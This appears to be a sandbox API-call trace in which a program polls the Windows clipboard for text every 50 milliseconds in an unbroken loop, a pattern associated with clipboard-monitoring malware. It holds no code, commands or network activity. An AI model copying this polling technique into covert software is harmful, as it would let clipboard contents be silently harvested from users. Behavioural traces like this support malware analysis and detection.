[0238.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe93f20ad, dwHighDateTime=0x1d96e12))
[0238.716] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.717] GetClipboardData (uFormat=0x1) returned 0x0
[0238.717] CloseClipboard () returned 1
[0238.717] Sleep (dwMilliseconds=0x32)
[0238.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe948a9c1, dwHighDateTime=0x1d96e12))
[0238.779] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.779] GetClipboardData (uFormat=0x1) returned 0x0
[0238.779] CloseClipboard () returned 1
[0238.779] Sleep (dwMilliseconds=0x32)
[0238.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe952333d, dwHighDateTime=0x1d96e12))
[0238.847] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.847] GetClipboardData (uFormat=0x1) returned 0x0
[0238.847] CloseClipboard () returned 1
[0238.847] Sleep (dwMilliseconds=0x32)
[0238.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe95bbd38, dwHighDateTime=0x1d96e12))
[0238.904] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.904] GetClipboardData (uFormat=0x1) returned 0x0
[0238.904] CloseClipboard () returned 1
[0238.904] Sleep (dwMilliseconds=0x32)
[0238.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe96545fc, dwHighDateTime=0x1d96e12))
[0238.966] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.966] GetClipboardData (uFormat=0x1) returned 0x0
[0238.966] CloseClipboard () returned 1
[0238.966] Sleep (dwMilliseconds=0x32)
[0239.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe96ecf53, dwHighDateTime=0x1d96e12))
[0239.029] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.029] GetClipboardData (uFormat=0x1) returned 0x0
[0239.029] CloseClipboard () returned 1
[0239.029] Sleep (dwMilliseconds=0x32)
[0239.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe97858d2, dwHighDateTime=0x1d96e12))
[0239.091] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.091] GetClipboardData (uFormat=0x1) returned 0x0
[0239.091] CloseClipboard () returned 1
[0239.091] Sleep (dwMilliseconds=0x32)
[0239.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe981e297, dwHighDateTime=0x1d96e12))
[0239.154] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.154] GetClipboardData (uFormat=0x1) returned 0x0
[0239.154] CloseClipboard () returned 1
[0239.154] Sleep (dwMilliseconds=0x32)
[0239.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe98b6bc7, dwHighDateTime=0x1d96e12))
[0239.216] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.217] GetClipboardData (uFormat=0x1) returned 0x0
[0239.217] CloseClipboard () returned 1
[0239.217] Sleep (dwMilliseconds=0x32)
[0239.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe994f47b, dwHighDateTime=0x1d96e12))
[0239.279] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.279] GetClipboardData (uFormat=0x1) returned 0x0
[0239.279] CloseClipboard () returned 1
[0239.279] Sleep (dwMilliseconds=0x32)
[0239.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe99e7e71, dwHighDateTime=0x1d96e12))
[0239.341] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.341] GetClipboardData (uFormat=0x1) returned 0x0
[0239.341] CloseClipboard () returned 1
[0239.341] Sleep (dwMilliseconds=0x32)
[0239.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9a807ff, dwHighDateTime=0x1d96e12))
[0239.404] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.404] GetClipboardData (uFormat=0x1) returned 0x0
[0239.404] CloseClipboard () returned 1
[0239.404] Sleep (dwMilliseconds=0x32)
[0239.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9b1910c, dwHighDateTime=0x1d96e12))
[0239.466] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.466] GetClipboardData (uFormat=0x1) returned 0x0
[0239.466] CloseClipboard () returned 1
[0239.466] Sleep (dwMilliseconds=0x32)
[0239.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9bb1a53, dwHighDateTime=0x1d96e12))
[0239.529] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.529] GetClipboardData (uFormat=0x1) returned 0x0
[0239.529] CloseClipboard () returned 1
[0239.529] Sleep (dwMilliseconds=0x32)
[0239.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9c4ed36, dwHighDateTime=0x1d96e12))
[0239.593] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.593] GetClipboardData (uFormat=0x1) returned 0x0
[0239.593] CloseClipboard () returned 1
[0239.593] Sleep (dwMilliseconds=0x32)
[0239.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9ce2dbc, dwHighDateTime=0x1d96e12))
[0239.665] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.665] GetClipboardData (uFormat=0x1) returned 0x0
[0239.665] CloseClipboard () returned 1
[0239.665] Sleep (dwMilliseconds=0x32)
[0239.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9d7b7c0, dwHighDateTime=0x1d96e12))
[0239.716] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.716] GetClipboardData (uFormat=0x1) returned 0x0
[0239.717] CloseClipboard () returned 1
[0239.717] Sleep (dwMilliseconds=0x32)
[0239.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9e13fc6, dwHighDateTime=0x1d96e12))
[0239.779] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.779] GetClipboardData (uFormat=0x1) returned 0x0
[0239.779] CloseClipboard () returned 1
[0239.779] Sleep (dwMilliseconds=0x32)
[0239.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9eac98d, dwHighDateTime=0x1d96e12))
[0239.841] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.841] GetClipboardData (uFormat=0x1) returned 0x0
[0239.842] CloseClipboard () returned 1
[0239.842] Sleep (dwMilliseconds=0x32)
[0239.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9f452a0, dwHighDateTime=0x1d96e12))
[0239.904] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.904] GetClipboardData (uFormat=0x1) returned 0x0
[0239.904] CloseClipboard () returned 1
[0239.904] Sleep (dwMilliseconds=0x32)
[0239.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9fddc2d, dwHighDateTime=0x1d96e12))
[0239.966] OpenClipboard (hWndNewOwner=0x0) returned 1
[0239.966] GetClipboardData (uFormat=0x1) returned 0x0
[0239.966] CloseClipboard () returned 1
[0239.966] Sleep (dwMilliseconds=0x32)
[0240.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea076545, dwHighDateTime=0x1d96e12))
[0240.029] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.029] GetClipboardData (uFormat=0x1) returned 0x0
[0240.029] CloseClipboard () returned 1
[0240.029] Sleep (dwMilliseconds=0x32)
[0240.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea10efc2, dwHighDateTime=0x1d96e12))
[0240.092] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.092] GetClipboardData (uFormat=0x1) returned 0x0
[0240.092] CloseClipboard () returned 1
[0240.092] Sleep (dwMilliseconds=0x32)
[0240.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea18fcd8, dwHighDateTime=0x1d96e12))
[0240.144] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.144] GetClipboardData (uFormat=0x1) returned 0x0
[0240.144] CloseClipboard () returned 1
[0240.144] Sleep (dwMilliseconds=0x32)
[0240.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea20c618, dwHighDateTime=0x1d96e12))
[0240.195] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.195] GetClipboardData (uFormat=0x1) returned 0x0
[0240.195] CloseClipboard () returned 1
[0240.195] Sleep (dwMilliseconds=0x32)
[0240.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea2a4f8c, dwHighDateTime=0x1d96e12))
[0240.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.258] GetClipboardData (uFormat=0x1) returned 0x0
[0240.258] CloseClipboard () returned 1
[0240.258] Sleep (dwMilliseconds=0x32)
[0240.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea33d95a, dwHighDateTime=0x1d96e12))
[0240.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.320] GetClipboardData (uFormat=0x1) returned 0x0
[0240.321] CloseClipboard () returned 1
[0240.321] Sleep (dwMilliseconds=0x32)
[0240.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea363be1, dwHighDateTime=0x1d96e12))
[0240.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.336] GetClipboardData (uFormat=0x1) returned 0x0
[0240.336] CloseClipboard () returned 1
[0240.336] Sleep (dwMilliseconds=0x32)
[0240.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea389e60, dwHighDateTime=0x1d96e12))
[0240.353] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.353] GetClipboardData (uFormat=0x1) returned 0x0
[0240.353] CloseClipboard () returned 1
[0240.353] Sleep (dwMilliseconds=0x32)
[0240.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea3b0078, dwHighDateTime=0x1d96e12))
[0240.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.367] GetClipboardData (uFormat=0x1) returned 0x0
[0240.367] CloseClipboard () returned 1
[0240.367] Sleep (dwMilliseconds=0x32)
[0240.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea3d62da, dwHighDateTime=0x1d96e12))
[0240.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.383] GetClipboardData (uFormat=0x1) returned 0x0
[0240.383] CloseClipboard () returned 1
[0240.383] Sleep (dwMilliseconds=0x32)
[0240.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea3fc53d, dwHighDateTime=0x1d96e12))
[0240.399] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.399] GetClipboardData (uFormat=0x1) returned 0x0
[0240.399] CloseClipboard () returned 1
[0240.399] Sleep (dwMilliseconds=0x32)
[0240.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea42276a, dwHighDateTime=0x1d96e12))
[0240.414] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.414] GetClipboardData (uFormat=0x1) returned 0x0
[0240.414] CloseClipboard () returned 1
[0240.414] Sleep (dwMilliseconds=0x32)
[0240.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea4489b1, dwHighDateTime=0x1d96e12))
[0240.443] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.443] GetClipboardData (uFormat=0x1) returned 0x0
[0240.443] CloseClipboard () returned 1
[0240.443] Sleep (dwMilliseconds=0x32)
[0240.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea46ec40, dwHighDateTime=0x1d96e12))
[0240.445] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.445] GetClipboardData (uFormat=0x1) returned 0x0
[0240.445] CloseClipboard () returned 1
[0240.445] Sleep (dwMilliseconds=0x32)
[0240.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea494ea4, dwHighDateTime=0x1d96e12))
[0240.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.461] GetClipboardData (uFormat=0x1) returned 0x0
[0240.461] CloseClipboard () returned 1
[0240.461] Sleep (dwMilliseconds=0x32)
[0240.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea4bb0bb, dwHighDateTime=0x1d96e12))
[0240.478] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.478] GetClipboardData (uFormat=0x1) returned 0x0
[0240.478] CloseClipboard () returned 1
[0240.478] Sleep (dwMilliseconds=0x32)
[0240.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea4e1378, dwHighDateTime=0x1d96e12))
[0240.492] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.492] GetClipboardData (uFormat=0x1) returned 0x0
[0240.492] CloseClipboard () returned 1
[0240.492] Sleep (dwMilliseconds=0x32)
[0240.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea50758c, dwHighDateTime=0x1d96e12))
[0240.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.508] GetClipboardData (uFormat=0x1) returned 0x0
[0240.508] CloseClipboard () returned 1
[0240.508] Sleep (dwMilliseconds=0x32)
[0240.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea52d80a, dwHighDateTime=0x1d96e12))
[0240.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.524] GetClipboardData (uFormat=0x1) returned 0x0
[0240.524] CloseClipboard () returned 1
[0240.524] Sleep (dwMilliseconds=0x32)
[0240.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea553a25, dwHighDateTime=0x1d96e12))
[0240.539] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.539] GetClipboardData (uFormat=0x1) returned 0x0
[0240.539] CloseClipboard () returned 1
[0240.539] Sleep (dwMilliseconds=0x32)
[0240.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea579c83, dwHighDateTime=0x1d96e12))
[0240.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.554] GetClipboardData (uFormat=0x1) returned 0x0
[0240.554] CloseClipboard () returned 1
[0240.554] Sleep (dwMilliseconds=0x32)
[0240.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea59ff14, dwHighDateTime=0x1d96e12))
[0240.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.572] GetClipboardData (uFormat=0x1) returned 0x0
[0240.572] CloseClipboard () returned 1
[0240.572] Sleep (dwMilliseconds=0x32)
[0240.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea5c6165, dwHighDateTime=0x1d96e12))
[0240.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.586] GetClipboardData (uFormat=0x1) returned 0x0
[0240.586] CloseClipboard () returned 1
[0240.586] Sleep (dwMilliseconds=0x32)
[0240.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea5ec372, dwHighDateTime=0x1d96e12))
[0240.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.601] GetClipboardData (uFormat=0x1) returned 0x0
[0240.601] CloseClipboard () returned 1
[0240.601] Sleep (dwMilliseconds=0x32)
[0240.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea61262a, dwHighDateTime=0x1d96e12))
[0240.617] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.617] GetClipboardData (uFormat=0x1) returned 0x0
[0240.617] CloseClipboard () returned 1
[0240.617] Sleep (dwMilliseconds=0x32)
[0240.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea638832, dwHighDateTime=0x1d96e12))
[0240.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.633] GetClipboardData (uFormat=0x1) returned 0x0
[0240.633] CloseClipboard () returned 1
[0240.633] Sleep (dwMilliseconds=0x32)
[0240.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea65ead0, dwHighDateTime=0x1d96e12))
[0240.649] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.649] GetClipboardData (uFormat=0x1) returned 0x0
[0240.649] CloseClipboard () returned 1
[0240.649] Sleep (dwMilliseconds=0x32)
[0240.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea684d09, dwHighDateTime=0x1d96e12))
[0240.664] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.664] GetClipboardData (uFormat=0x1) returned 0x0
[0240.664] CloseClipboard () returned 1
[0240.664] Sleep (dwMilliseconds=0x32)
[0240.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea6aaf90, dwHighDateTime=0x1d96e12))
[0240.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.679] GetClipboardData (uFormat=0x1) returned 0x0
[0240.680] CloseClipboard () returned 1
[0240.680] Sleep (dwMilliseconds=0x32)
[0240.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea6d119f, dwHighDateTime=0x1d96e12))
[0240.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.695] GetClipboardData (uFormat=0x1) returned 0x0
[0240.695] CloseClipboard () returned 1
[0240.695] Sleep (dwMilliseconds=0x32)
[0240.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea6f7949, dwHighDateTime=0x1d96e12))
[0240.712] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.712] GetClipboardData (uFormat=0x1) returned 0x0
[0240.712] CloseClipboard () returned 1
[0240.712] Sleep (dwMilliseconds=0x32)
[0240.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea71d65b, dwHighDateTime=0x1d96e12))
[0240.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.726] GetClipboardData (uFormat=0x1) returned 0x0
[0240.726] CloseClipboard () returned 1
[0240.726] Sleep (dwMilliseconds=0x32)
[0240.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea7438de, dwHighDateTime=0x1d96e12))
[0240.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.743] GetClipboardData (uFormat=0x1) returned 0x0
[0240.743] CloseClipboard () returned 1
[0240.743] Sleep (dwMilliseconds=0x32)
[0240.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea769b3e, dwHighDateTime=0x1d96e12))
[0240.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.757] GetClipboardData (uFormat=0x1) returned 0x0
[0240.758] CloseClipboard () returned 1
[0240.758] Sleep (dwMilliseconds=0x32)
[0240.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea78fd3d, dwHighDateTime=0x1d96e12))
[0240.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.773] GetClipboardData (uFormat=0x1) returned 0x0
[0240.773] CloseClipboard () returned 1
[0240.773] Sleep (dwMilliseconds=0x32)
[0240.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea7b60eb, dwHighDateTime=0x1d96e12))
[0240.789] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.789] GetClipboardData (uFormat=0x1) returned 0x0
[0240.789] CloseClipboard () returned 1
[0240.789] Sleep (dwMilliseconds=0x32)
[0240.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea7dc1dc, dwHighDateTime=0x1d96e12))
[0240.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.805] GetClipboardData (uFormat=0x1) returned 0x0
[0240.805] CloseClipboard () returned 1
[0240.805] Sleep (dwMilliseconds=0x32)
[0240.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea84e8d1, dwHighDateTime=0x1d96e12))
[0240.854] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.854] GetClipboardData (uFormat=0x1) returned 0x0
[0240.854] CloseClipboard () returned 1
[0240.854] Sleep (dwMilliseconds=0x32)
[0240.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea874bcd, dwHighDateTime=0x1d96e12))
[0240.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.868] GetClipboardData (uFormat=0x1) returned 0x0
[0240.868] CloseClipboard () returned 1
[0240.869] Sleep (dwMilliseconds=0x32)
[0240.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea89ae1a, dwHighDateTime=0x1d96e12))
[0240.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.883] GetClipboardData (uFormat=0x1) returned 0x0
[0240.883] CloseClipboard () returned 1
[0240.883] Sleep (dwMilliseconds=0x32)
[0240.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea8c1058, dwHighDateTime=0x1d96e12))
[0240.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.898] GetClipboardData (uFormat=0x1) returned 0x0
[0240.898] CloseClipboard () returned 1
[0240.899] Sleep (dwMilliseconds=0x32)
[0240.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea8e72c3, dwHighDateTime=0x1d96e12))
[0240.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.915] GetClipboardData (uFormat=0x1) returned 0x0
[0240.915] CloseClipboard () returned 1
[0240.915] Sleep (dwMilliseconds=0x32)
[0240.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea90d506, dwHighDateTime=0x1d96e12))
[0240.931] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.931] GetClipboardData (uFormat=0x1) returned 0x0
[0240.931] CloseClipboard () returned 1
[0240.931] Sleep (dwMilliseconds=0x32)
[0240.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea933708, dwHighDateTime=0x1d96e12))
[0240.945] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.945] GetClipboardData (uFormat=0x1) returned 0x0
[0240.945] CloseClipboard () returned 1
[0240.945] Sleep (dwMilliseconds=0x32)
[0240.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea9599e7, dwHighDateTime=0x1d96e12))
[0240.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.961] GetClipboardData (uFormat=0x1) returned 0x0
[0240.961] CloseClipboard () returned 1
[0240.961] Sleep (dwMilliseconds=0x32)
[0240.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea97fc22, dwHighDateTime=0x1d96e12))
[0240.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.976] GetClipboardData (uFormat=0x1) returned 0x0
[0240.976] CloseClipboard () returned 1
[0240.977] Sleep (dwMilliseconds=0x32)
[0240.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea9a5e45, dwHighDateTime=0x1d96e12))
[0240.992] OpenClipboard (hWndNewOwner=0x0) returned 1
[0240.992] GetClipboardData (uFormat=0x1) returned 0x0
[0240.992] CloseClipboard () returned 1
[0240.992] Sleep (dwMilliseconds=0x32)
[0241.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea9cc0a4, dwHighDateTime=0x1d96e12))
[0241.008] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.008] GetClipboardData (uFormat=0x1) returned 0x0
[0241.008] CloseClipboard () returned 1
[0241.008] Sleep (dwMilliseconds=0x32)
[0241.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xea9f233a, dwHighDateTime=0x1d96e12))
[0241.026] OpenClipboard (hWndNewOwner=0x0) returned 1
[0241.026] GetClipboardData (uFormat=0x1) returned 0x0
[0241.026] CloseClipboard () returned 1
[0241.026] Sleep (dwMilliseconds=0x32)
[0241.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeaa1857a, dwHighDateTime=0x1d96e12))
